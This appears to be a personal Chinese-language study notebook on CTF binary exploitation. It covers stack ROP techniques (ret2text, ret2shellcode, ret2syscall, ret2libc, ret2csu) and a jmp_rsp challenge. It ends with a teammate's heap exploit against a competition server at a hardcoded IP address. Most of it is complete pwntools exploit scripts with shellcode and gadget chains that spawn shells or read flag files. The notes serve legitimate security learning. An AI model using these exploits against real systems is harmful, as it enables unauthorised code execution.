pwn题利用手法

基础知识

1
2
3
4
5
6
7
8
9
10
# 64位需要注意的点
1、6个寄存器:rdi、rsi、rdx、rcx、r8、r9 -#- 链接1 -#-
2、edi是rdi的低32位(4字节) -#- 链接2 -#-
3、cmp rbx, rbp 执行完函数之后,程序会对rbx+=1,然后对比rbp和rbx的值,
如果相等就会继续向下执行并ret到我们想要继续执行的地址
4、_init、_start、call_gmon_start、deregister_tm_clones、register_tm_clones、
__do_global_dtors_aux、frame_dummy、__libc_csu_init、__libc_csu_fini、_fini

# 32位
ROPgadget --binary <二进制文件> --only 'pop|ret' | grep 'edi'

链接1:linux x86 64位 寄存器

链接2:x64_cheatsheet.pdf (brown.edu)

pwn题利用手法

1
2
3
4
5
6
7
8
## 栈
# ret2lib3
1、栈溢出->puts(got.dynamic)泄露libc地址->反编译libc.so.6计算libc基址并查找
system()、/bin/sh偏移值
2、栈段RWX,借助jmp rsp片段实现shellcode写入栈,再跳转回去执行shellcode


&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

ctf wiki

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
###简版
# 基本ROP
1、利用程序中现有的后门函数 # ret至后门函数获取shell ret2text
2、向可执行段写入shellcode # ret至shellcode获取shell ret2shellcode
3、利用程序中的ROPgadget、"/bin/sh"构造能获取shell的汇编串 # ret2syscall
4、利用plt表中的system函数地址以及程序中已有的"/bin/sh"字符串 # ret2libc1
5、gets地址覆盖ret达到二次gets效果,二次gets向buf2发送/bin/sh,system调用 # ret2libc2
6、溢出调用puts泄露libc地址,计算偏移找出system()、/bin/sh在libc中位值 # ret2libc3
补充:ida反编译libc.so.6,找偏移

基本ROP有用的知识总结:
1、调用过一次的函数plt表中存储其真实地址,got表中存储着真实地址,详见详解4
2、可以将libc.so.6丢进ida中计算偏移值
##-----------------------------↓↓↓-----------------------------------##
3、进入函数后会执行一个函数头,把高地址一个位置的数作为上一函数的ebp存储起来,
然后把高地址两个位置处的数作为函数的第一个参数,至于第二、第三个参数怎么存
我目前还没看过。 ***做个标记,之后拿printf("%d%d%s",a,b,s)试试
##-----------------------------↑↑↑-----------------------------------##
4、shellcode写法有空深究一下,shellcode中不能带"\x00"
5、PIE:随机化代码段、plt、got、data等
6、ASLR:随机化stack、libarys(不知道拼没拼错,我copy过来的)、heap等
7、以下两句给出的是got表中dynamic段的__libc_start_main地址
ret2libc3 = ELF('./ret2libc3')
ret2libc3.got['__libc_start_main']

基本ROP有用的手法总结:
1、shellcode写进可执行段,跳转执行
2、利用ROPgadget,构造system("/bin/sh")
3、main函数地址覆盖到ret可重新执行main函数
4、重调puts函数,并以got表dynamic段中函数做参数可泄露libc函数地址

# 中级ROP
1、栈溢出->重调write泄露libc地址,重调main->重调read向bss段写入system("/bin/sh")
,main-重调>跳转至bss段地址执行system("/bin/sh") #ret2csu
#做题时注意好call指令的跳转存在限制,只能实现近跳转,没ret指令便于利用
2、



基本ROP

1
2
3
4
5
6
7
8
9
# 详细
1、ret2text
# 利用程序中现有的后门函数,凭借gets()函数溢出覆盖ret
##!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
2、ret2shellcode
# 向可执行段写入shellcode,覆盖ret跳转至此执行shellcode
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

#注:上下述exp在ubuntu20.04上执行不成功 $ readelf -t ./ret2shellcode
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = b"\x31\xC9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
buf2_addr = 0x804a080
c = shellcode + b'a'*89 + p32(buf2_addr)
sh.sendline(c)
sh.interactive()
#理由:vmmap查看bss段可执行情况,ubuntu20.04的bss段不可执行,ubuntu18.04及以下版本可执行,可能是因为ubuntu20.04执行程序时默认开启了数据段不可执行
#理由2:看下方链接1、2
#其次,发现栈段可执行,这里可能就会想,我跳转到栈地址上的buf[0]处执行不就行了吗?但栈地址每次加载地址不定,除非泄露栈地址,不然无法准确跳转。

链接1:执行堆栈发生了什么变化? (f0rm2l1n.github.io)

链接2:汇编 - Linux 默认行为的可执行 .data 部分在 5.4 和 5.9 之间更改?- 堆栈溢出 (stackoverflow.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
3、ret2syscall
# 利用程序中的ROPgadget、"/bin/sh"构造能获取shell的汇编串,程序流自动执行ROPgadget获取shell
#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

# int 0x80 转内核模式,类比于syscall
# $ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
# $ ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
# $ ROPgadget --binary rop --string '/bin/sh'
# $ ROPgadget --binary rop --only 'int'

# ROPgadget下载,下方链接3

链接3:ubuntu20.04 & ubuntu16.04安装 | xiaoxiaoxy (xiaoxiaoxy1.github.io)

image-20220805094132836

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
4、ret2libc1
#利用程序中已调用过的system函数(地址存在plt表中)以及程序中存在的"/bin/sh"字符
#通过栈溢出构造栈上数据排布,使栈上数据排布为执行system("/bin/sh")时的数据排布
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

# 至于为什么要用plt表地址处的system函数,暂且解释为程序调用libc函数都是通过plt表来查找的
# 程序第一次调用libc函数(puts函数)时调用过程如下:
# 别人的说法:xxx@plt -> xxx@got -> xxx@plt -> 公共@plt -> _dl_runtime_resolve
# 个人的理解:
# puts@plt表(.plt)查询puts在GOT表dynamic段的地址
# ->Got表(.got)中查询puts在libc中的地址
# ->修改 puts@plt表(.plt)中 puts在GOT表dynamic段的地址 为 puts在libc中的地址
# ->将puts函数及其在libc中的地址写入公共plt表(.got.plt),下次调用直接从这找puts在libc中的地址

# 程序第二次及以后调用libc函数过程如下:
# plt表查询puts在libc中的地址->去相应地址调用libc函数
# 学习链接:下方链接4

# ret至system函数中时,会先执行一个函数头,push ebp,保存上一次ebp所在位置,所以我们中间用bbbb来避开这个push
# 放了bbbb后,binsh_addr也就成了我们system函数的第一个参数

# 小彩蛋:Linux命令行中输入/bin/sh

链接4:博文收藏 | xiaoxiaoxy (xiaoxiaoxy1.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
5、ret2libc2
#第一次调用gets()函数将plt表中的gets()函数地址覆写到ret指令上并将buf2作为参数传入来达到二次输入的目的
#(这样就能将第二次输入的值传入buf2,同时也布置好了后期利用的buf2及system函数)二次调用gets向程序发送
#/bin/sh,即可将/bin/sh存入buf2,后期system函数是以buf2地址为参数,buf2存的是/binsh,也就是说
#system函数以/bin/sh为参数,等价于程序执行system("/bin/sh")
##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, b'bbbb', buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

#重申:为什么中间要穿插bbbb四个字符在ret2libc1中有讲解

#以下脚本适用于ubuntu20.04
#exp1
from pwn import*
a = process('./ret2libc2')
buf2_addr = 0x804a080
gets_addr = 0x08048460
system_addr = 0x08048490
pop_ebx_addr = 0x0804843d

a.recvuntil('What do you think ?')
a.sendline(b'a'*112 + p32(gets_addr) + p32(pop_ebx_addr) + p32(buf2_addr) + p32(system_addr) + b'aaaa' + p32(buf2_addr))

a.sendline('/bin/sh\x00')
a.interactive()

#exp2
##!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
#思路,栈溢出计算偏移&覆盖ret;跳gets,参数buf2或.bss段;跳system,参数/bin/sh

a = process('./ret2libc2')
buf2_addr = '\x80\xa0\x04\x08' # 0x804a080
gets_addr = '\x60\x84\x04\x08' # 0x08048460
system_addr = '\x90\x84\x04\x08' # 0x08048490
pop_ebx_addr = '\x3d\x84\x04\x08' # 0x0804843d

a.recvuntil('What do you think ?')
a.sendline('a'*112 + gets_addr + pop_ebx_addr + buf2_addr + system_addr + 'aaaa' + buf2_addr)

a.sendline('/bin/sh\x00')
a.interactive()


# $ ROPgadget --binary ret2libc2 --only 'pop|ret' | grep 'ebx'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
6、ret2libc3
# ...搞了快一天了,ubuntu20.04、18.04、16.04三个虚拟机一个都没打通,这里就简单记下思路吧,exp就不写了
# payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
# puts_plt覆盖至ret实现puts函数的重调,
# main函数地址作为上一栈帧rbp,puts执行完就可以重新执行main函数
# libc_start_main_got为puts的参数,使puts函数打印出got表上libc_start_main的地址,实现地址泄露
# 利用泄露出的libc_start_main地址,在链接5上查询libc版本,找system()、/bin/sh的偏移
# 计算出system()、/bin/sh在libc中的地址,第二次发送pyload即可拿到shell
# payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])

# 好吧,在两位大佬的指导下,我调出了这道题
# 步骤
# 因为LibcSearcher的库中搜不到我ubuntu20.04上的libc库,而题目依赖的就是我本机的libc库
# 所以我只需要把本机的libc库丢进ida就能查找函数偏移,找到之后写入exp中就拿到shell了
# 顺带提一下,现在绝大多数的ctf题都会给libc.so.6文件,所以基本用不到LibcSearcher

#exp
from pwn import *
from LibcSearcher import LibcSearcher
p = process('./ret2libc3')
context.log_level = 'debug'
start_addr = 0x80484d0
puts_plt_addr = 0x8048460
libc_start_main_got_addr = 0x804a024
p.recvuntil('Can you find it !?')
p.sendline(b'q'*112 + p32(puts_plt_addr) + p32(start_addr) + p32(libc_start_main_got_addr))
libc_start_main_addr = u32(p.recv(4))
print ("__lic_start_main_addr: " + hex(libc_start_main_addr))

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - 0x1ADF0
system_addr = libcbase + 0x41790
binsh_addr = libcbase + 0x18E363
print ("system_addr: " + hex(system_addr))
print ("binsh_addr: " + hex(binsh_addr))
p.recvuntil('Can you find it !?')
p.sendline(b's'*112 + p32(system_addr) + b'aaaa' + p32(binsh_addr))
p.interactive()

# $ ldd <二进制程序>
回显中带有:<路径>/libc.so.6
# $ <路径>/libc.so.6
# $ cp <路径>/libc.so.6 ./

image-20220805191502901

image-20220805191428321

链接5:https://libc.blukat.me/

image-20220805173746709


中级ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
1、ret2csu
#思路:
#1、借助__libc_csu_init中的两个有效片段,实现对寄存器的数据写入
#2、重调write函数,泄露libc地址,ida反编译libc.so.6查找相关偏移值
#3、重调read函数,向bss段写入system("/bin/sh")
#4、跳转到bss段执行system("/bin/sh")

##!/usr/bin/env python
# -*- coding: utf-8 -*-
from os import execve
from pwn import*
#context.log_level='debug'
r = process('./level5')
elf = ELF('./level5')

write_got = elf.got['write']
read_got = elf.got['read']
main_adr = elf.symbols['_start']
bss_adr = elf.bss()
fackebp = 8*b'A'
csu_front_adr = 0x00000000004005F0
csu_last_adr = 0x0000000000400606

print("write_got = ",write_got)
print("\nread_got =",read_got)
print("\nmain_addr =",main_adr)
print("bss_adr = 0x{:x}".format(bss_adr))

def csu(rbx,rbp,r12,r13,r14,r15,last):
# rbx 0 前两个寄存器
# rbp 1 这样设置可绕过 cmp rbx, rbp 检测
# r12 想要调用的函数地址
# r13 rdi(函数调用的第一个参数)
# r14 rsi(第二个参数)
# r15 rdx(第三个)
payload=128*b'A'+fackebp
payload+=p64(csu_last_adr)
payload+=p64(0)
payload+=p64(rbx)
payload+=p64(rbp)
payload+=p64(r12)
payload+=p64(r13)
payload+=p64(r14)
payload+=p64(r15)
payload+=p64(csu_front_adr)
payload+=56*b'A'
payload+=p64(last)
r.send(payload)
sleep(1)


r.recvuntil('Hello, World\n')
csu(0,1,write_got,1,write_got,8,main_adr)

write_adr = u64(r.recv(8))
print ("write_adr: " + hex(write_adr))
write_libc = 0x10E090
system_libc = 0x522C0

execve_libc = 0xE31A0

bin_sh_libc = 0x1B45BD

offset=write_adr-write_libc
system_adr=offset+system_libc
bin_sh_adr=offset+bin_sh_libc

r.recvuntil('Hello, World\n')
#csu(0,1,system_adr,bin_sh_adr,0,0,main_adr) #通过system("/bin/sh") 拿不到shell
#csu(0,1,execve_libc,bin_sh_adr,0,0,main_adr) #execve("/bin/sh",0,0) 也不行

csu(0,1,read_got,0,bss_adr,16,main_adr)
r.send(p64(system_adr)+b"/bin/sh\x00")

r.recvuntil('Hello, World\n')
csu(0,1,bss_adr,bss_adr+8,0,0,main_adr)

r.interactive()

对于上述 ↑ exp 为什么用system(“/bin/sh”)不行,个人暂且的理解是call指令无法实现远地址跳转,而system真实地址在libc那边,超过了16位偏移,所以无法直接实现跳转(如果是ret指令的话则应该可以),而先跳到较近的bss段去执行栈上写入的system(“/bin/sh”)则可以实现。

8086 汇编 jmp 指令 - kevin.Xiang - 博客园 (cnblogs.com)

下图说法有问题,cmp是比较指令,两个值相等则不执行jnz跳转

image-20220809113413722

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#exp1
#改自:https://www.freesion.com/article/6890501005/
##!/usr/bin/env python
from pwn import*
from LibcSearcher import LibcSearcher

#context.log_level='debug'

r=process('./level5')
elf=ELF('./level5')

write_got=elf.got['write']
read_got=elf.got['read']
main_adr=elf.symbols['_start']
bss_adr=elf.bss()
csu_front_adr=0x00000000004005F0
csu_last_adr=0x0000000000400606
fackebp=8*b'A'

print("write_got = ",write_got)
print("\nread_got =",read_got)
print("\nmain_addr =",main_adr)

def csu(rbx,rbp,r12,r13,r14,r15,last):
payload=128*b'A'+fackebp
payload+=p64(csu_last_adr)
payload+=p64(0)
payload+=p64(rbx)
payload+=p64(rbp)
payload+=p64(r12)
payload+=p64(r13)
payload+=p64(r14)
payload+=p64(r15)
payload+=p64(csu_front_adr)
payload+=56*b'A'
payload+=p64(last)
r.send(payload)
sleep(1)


r.recvuntil('Hello, World\n')
print ("send payload first")
# write(1,write_got,8)
csu(0,1,write_got,1,write_got,8,main_adr)

write_adr=u64(r.recv(8))
print ("write_adr: " + hex(write_adr))
#write_libc= 0x110140
write_libc = 0x10E090 #偏移值通过反编译libc自行查找
system_libc= 0x522C0 #$ ldd <二进制文件> 查看所用libc路径
#system_libc=0x04f440
offset=write_adr-write_libc
system_adr=offset+system_libc

r.recvuntil('Hello, World\n')
print ("send payload seconed")
# read(0,bss_adr,16)
csu(0,1,read_got,0,bss_adr,16,main_adr)
r.send(p64(system_adr)+b"/bin/sh\x00")

r.recvuntil('Hello, World\n')
print ("send payload third")
# system(bss_adr+8)
csu(0,1,bss_adr,bss_adr+8,0,0,main_adr)
r.interactive()

#思路:
# 利用 __LIBC_CSU_INIT 里面的 gadgets,
# 完成泄露地址(重调write函数)、重执main函数
# 完成execve_addr地址&'/bin/sh\x00'字符串输入bss段、重执main函数
# 跳转至bss段,模拟 execve("/bin/sh",0,0) 的调用,获得shell


赛题

1
2
3
###简版
1、栈段RWX,canary无效,栈段写shellcode,jmp_rsp gadget跳转执行shellcod
2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
1、jmp_rsp
#链接1:https://functionmain.gitee.io/2022/05/25/2022%E7%9C%81%E8%B5%9B/
#链接2:https://blog.csome.cc/p/2022gdCTF-pwn/
##!/usr/bin/env python
from pwn import *
# -*- coding: utf-8 -*-
context.arch = 'amd64'
context.log_level='debug'

io = process("./jmp_rsp")
#io = remote("ip",port)

jmp_rsp = 0x000000000046d01d #ROPgadget --binary jmp_rsp | grep "jmp rsp"

shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''
shellcode = asm(shellcode)

payload = shellcode #shellcode布置在rsp当前位置 长度30
payload += b'A'*106 #覆盖buf+rbp
payload += p64(jmp_rsp) #跳转至rsp处执行
payload += asm("sub rsp, 0x90;jmp rsp") #跳回到shellcode处执行shellcode

io.sendline(payload)

io.interactive()

#思路:
# 栈段 RWX权限 均开启,并且开启了canary保护,经调试,canary无效
# 所以向栈段写入shellcode,获取 jmp rap 这一gadget以及一小段shellcode
# 实现pc指针跳转至shellcode去执行恶意代码获取shell

image-20220811094906779

ctf wiki

赛题

1
2
#简述
1
1
2
3
4
5
#1、easyheap
#链接:https://blog.csome.cc/p/2022gdCTF-pwn/

#个人目前还不会,之后再补自己写的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#一个大佬队友的exp
from pwn import *
import ctypes
import time

context(arch="amd64")
context.log_level = 'debug'
getIO = lambda:process(['./ld-2.31.so', './easyheap'], env={'LD_PRELOAD': './libc-2.31.so'})
#io = getIO()
io = remote('112.74.185.213',46699)
#io = process('./easyheap')
def add(size, cont):
io.sendlineafter('4.delete\n', '1')
io.sendlineafter('Size?\n', str(size))
io.sendafter('Context:\n', cont)

def add2(size, offset, cont):
pp = '1\x00'
pp += '\x00' * (12 - len(pp))
pp += p32(ctypes.c_uint32(offset).value)
io.sendafter('4.delete\n', pp)
io.sendlineafter('Size?\n', str(size))
io.sendlineafter('Context:\n', cont)

def add3(size, offset, cont):
pp = '1\x00'
pp += '\x00' * (12 - len(pp))
pp += p32(ctypes.c_uint32(offset).value)
io.sendafter('4.delete', pp)
io.sendlineafter('Size?', str(size))
io.sendafter('Context:', cont)

def edit(idx, cont):
io.sendlineafter('4.delete\n', '2')
io.sendlineafter('Idx?\n', str(idx))
io.sendlineafter('Context:\n', cont)

def edit2(idx, cont):
io.sendlineafter('4.delete', '2')
io.sendlineafter('Idx?', str(idx))
io.sendafter('Context:', cont)

def backdoor(size, offset, cont):
io.sendlineafter('4.delete\n', '666')
io.sendlineafter('Size?\n', str(size))
io.sendlineafter('Offset?\n', str(offset))
io.sendafter('Context:\n', cont)

def backdoor2(size, offset, cont):
io.sendlineafter('4.delete', '666')
io.sendlineafter('Size?', str(size))
io.sendlineafter('Offset?', str(offset))
io.sendafter('Context:', cont)

while 1:
fake_size = 0x061 + 0x1000*1
# add(,'aaaaa')
backdoor(0x18, 0x6b8, p64(fake_size))
add(0x2000, 'ccccc')
add(0x20, 'c')
add(0x20, 'ccc')
add(0x20, 'ccc')
add(0x20, 'ccc')
add(0x20, 'ccc')
add(0x20, 'ccc')

add2(0x10, -10, 'ccc')

backdoor(0x18, -3080, '\xb0')
# backdoor(0x18, -32, '\xb0')
backdoor(0x18, -3616+6, p32(0x7))
stdout_in = 0x16a0

backdoor(0x18, 800, '\xa0\x16')

# add2(0x18, 0, 'aa')
flag = 0xfbad1800
# add2(0x18, )
add2(0x48, 1, 'aa')
try:
add2(0x48, 0, p64(flag)+p64(0)*3 + '\x08')
inp = io.recv(8,timeout=0.2)
if '1.add' in inp:
assert 1 == 2
stdin_addr = u64(inp)
log.success('stdin_addr:'+hex(stdin_addr))
break
except:
io.close()
io = remote('112.74.185.213',46699)
#io = process('./easyheap')

libc_base = stdin_addr - 0x1ee7f0
log.success('libc_base:'+hex(libc_base))

main_arena_96 = 0x1ecbe0 + libc_base
edit2(0, p64(flag)+p64(0)*3 + p64(main_arena_96))

heap_base = u64(io.recv(8)) -0x23010
log.success('heap_base:'+hex(heap_base))

environ = 0x1ef600 + libc_base
edit2(0, p64(flag)+p64(0)*3 + p64(environ) + p64(environ+0x10) + p64(environ+0x10))
log.success('environ:'+hex(environ))

stack_environ = u64(io.recv(8))
log.success('stack_environ:'+hex(stack_environ))

rax_0 = 0x00000000000b1d89 + libc_base # xor rax, rax ; ret
rax_1 = 0x00000000000cfb50 + libc_base # mov rax, 1 ; ret
rax_2 = 0x00000000000cfb60 + libc_base # mov rax, 2 ; ret
pop_rdi = 0x0000000000023b72 + libc_base # pop rdi ; ret
pop_rsi = 0x000000000002604f + libc_base # pop rsi ; ret
xchg_eax_edi = 0x00000000000f1b95 + libc_base # xchg eax, edi ; ret
syscall = 0x00000630D9 + libc_base # syscall; ret in (funlockfile)
add_rax = 0x00000000000ac79c + libc_base
push_rdi = 0x00000000000e312b + libc_base
pop_rdi = 0x0000000000023b72+libc_base
vuln_stack_tar = stack_environ - 0x138 + 0x18
backdoor2(0x18, -512, p64(vuln_stack_tar))

add3(0xf0-8, 1, 'cccccc')
# io.sendafter('4.delete', '1')
# io.sendlineafter('Size?', )

rop_tmp = [
pop_rdi, 0xadd,
pop_rsi, 0,
rax_2, syscall, # open
xchg_eax_edi, # eax -> edi fd
pop_rsi, 0xadd,
rax_0, syscall, # read
pop_rdi, 1,
rax_1, syscall # write
]
'''
rop_tmp = [
pop_rdi, 0xadd,
pop_rsi, 0,
rax_2, syscall, # open
xchg_eax_edi, # eax -> edi fd
rax_0,
pop_rsi, 78,
add_rax,
pop_rsi, 0xadd,
syscall, # getdents
pop_rdi, 1,
rax_1, syscall # write
]
'''
rop_tmp[1] = rop_tmp[8] = vuln_stack_tar + len(rop_tmp) * 8
rop_tmp = flat(rop_tmp) + '/Flag/R3a1_f1Ag_1s_here\x00'
'''
gdb.attach(io)
pause()
'''
add3(0xf0-8, 1, rop_tmp)

io.interactive()

#大佬队友的思路
# backdoor任意写8字节,但只能用一次。
# 后来发现是原题:https://blog.csome.cc/p/2022gdCTF-pwn/#easyheap
# 栈上残留数据导致向上越界,将backdoor的标志覆盖,可以多次使用backdoor。

# house of orange的利用思路,用backdoor修改topchunk的size造unsorted bin。
# 后面爆破stdout leak libc,然后通过environ leak stack。
# 通过backdoor劫持tcache,申请到add函数的返回地址。
# rop1 读目录 open getdents wirte,leak文件名。
# rop2 读文件